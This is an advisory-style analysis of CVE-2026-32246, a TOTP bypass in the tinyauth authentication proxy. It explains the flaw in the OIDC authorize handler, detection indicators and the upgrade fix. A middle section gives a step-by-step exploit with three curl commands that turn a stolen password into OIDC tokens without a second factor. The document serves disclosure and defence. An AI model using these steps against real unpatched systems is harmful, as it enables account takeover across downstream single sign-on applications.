CVE-2026-32246: 
vulnerability analysis and mitigation

CVE-2026-32246 is a TOTP/2FA authentication bypass vulnerability in tinyauth, a lightweight authentication proxy, affecting all versions prior to 5.0.3. The flaw allows an attacker who has obtained a user's password to completely bypass TOTP/MFA and obtain valid OIDC SSO tokens without knowing the TOTP secret. It was discovered by researcher e1024x, disclosed and patched on March 11, 2026, and published to the GitHub Advisory Database on March 12, 2026. The CVSS v3.1 base score is 8.5 (High) per the GitHub Advisory Database, with a Critical score of 9.3 assigned by the tinyauth security advisory itself (GitHub Advisory, tinyauth Advisory).

The root cause is improper authentication (CWE-287) in the OIDC authorize handler (internal/controller/oidc_controller.go:105-116). When a user with TOTP enabled completes password authentication at POST /api/user/login, the server creates a session with TotpPending: true but does not set IsLoggedIn. The context middleware correctly marks these sessions as TOTP-pending; however, the OIDC authorize handler only checks for the existence of a user context via utils.GetContext(c) — it does not verify IsLoggedIn or TotpPending. Because the context middleware populates a context (including the username) for TOTP-pending sessions, GetContext succeeds and the handler issues a valid authorization code at line 156. The proxy controller correctly blocks such sessions, but the OIDC authorize handler lacks an equivalent guard, allowing the attacker to exchange the code at POST /api/oidc/token for a full set of tokens (access, ID, and refresh) without ever submitting a TOTP code (tinyauth Advisory, GitHub Advisory).

Successful exploitation completely defeats the second authentication factor for any user account on a tinyauth instance with OIDC clients configured. An attacker with a compromised password (obtained via credential stuffing, phishing, or database breach) can obtain valid SSO tokens (access token, ID token, and refresh token) and impersonate the victim across all downstream applications that rely on tinyauth's OIDC provider for authentication. The integrity impact is high due to unauthorized identity assertion, and there is a low confidentiality impact from access to user identity data exposed via OIDC tokens; availability is not affected (tinyauth Advisory, GitHub Advisory).

1. Obtain target credentials: Acquire a valid username and password for a tinyauth user with TOTP enabled via credential stuffing, phishing, or a database breach.
2. Authenticate with password only: Send a POST request to /api/user/login with the compromised credentials and save the returned session cookie. The server responds with {"totpPending": true}, indicating the session is in a TOTP-pending state.

   curl -c cookies.txt -X POST http://<target>:3000/api/user/login \
     -H "Content-Type: application/json" \
     -d '{"username":"totpuser","password":"totp123"}'

3. Request OIDC authorization code: Using the TOTP-pending session cookie, POST to /api/oidc/authorize with a valid OIDC client ID and redirect URI. The vulnerable handler issues an authorization code without checking TOTP completion.

   curl -b cookies.txt -X POST http://<target>:3000/api/oidc/authorize \
     -H "Content-Type: application/json" \
     -d '{"client_id":"my-client-id","redirect_uri":"http://localhost:8080/callback","response_type":"code","scope":"openid","state":"test"}'

4. Exchange code for tokens: Use the returned authorization code to obtain a full set of OIDC tokens (access token, ID token, refresh token) by posting to /api/oidc/token with the OIDC client credentials.

   curl -X POST http://<target>:3000/api/oidc/token \
     -u "my-client-id:my-client-secret" \
     -d "grant_type=authorization_code&code=<code>&redirect_uri=http://localhost:8080/callback"

5. Access downstream applications: Use the obtained tokens to authenticate as the victim user across all downstream OIDC relying party applications without ever having submitted a TOTP code (tinyauth Advisory).

• Network: Unexpected POST requests to /api/oidc/authorize immediately following a /api/user/login response containing totpPending: true, without a subsequent TOTP verification request to /api/user/totp or equivalent; POST requests to /api/oidc/token exchanging codes associated with TOTP-pending sessions.
• Logs: tinyauth access logs showing a login sequence where /api/user/login is called and returns totpPending: true, followed directly by /api/oidc/authorize and /api/oidc/token calls — with no TOTP submission step in between; token issuance events for users whose sessions were never fully authenticated.
• Application: Downstream OIDC relying party applications logging successful authentications for users at unusual times or from unexpected IP addresses, particularly where the tinyauth session did not complete the full MFA flow (tinyauth Advisory).

Update tinyauth to version 5.0.3 or later, which adds a guard in the OIDC authorize handler to verify that the user is fully logged in and not in the TOTP-pending state before issuing authorization codes (tinyauth Release). No configuration-based workaround is available for vulnerable versions; upgrading is the only effective remediation. Additionally, administrators should review downstream OIDC relying party logs for signs of unauthorized access, conduct password audits, and encourage users to rotate passwords if credentials may have been compromised (GitHub Advisory).

The vulnerability was covered by The Hacker Wire shortly after disclosure (The Hacker Wire). Social media posts on Mastodon and Bluesky noted the issue, reflecting community awareness given tinyauth's popularity (7.5k GitHub stars). The tinyauth maintainer responded promptly, releasing the patch on the same day as disclosure and urging users to update immediately (tinyauth Release).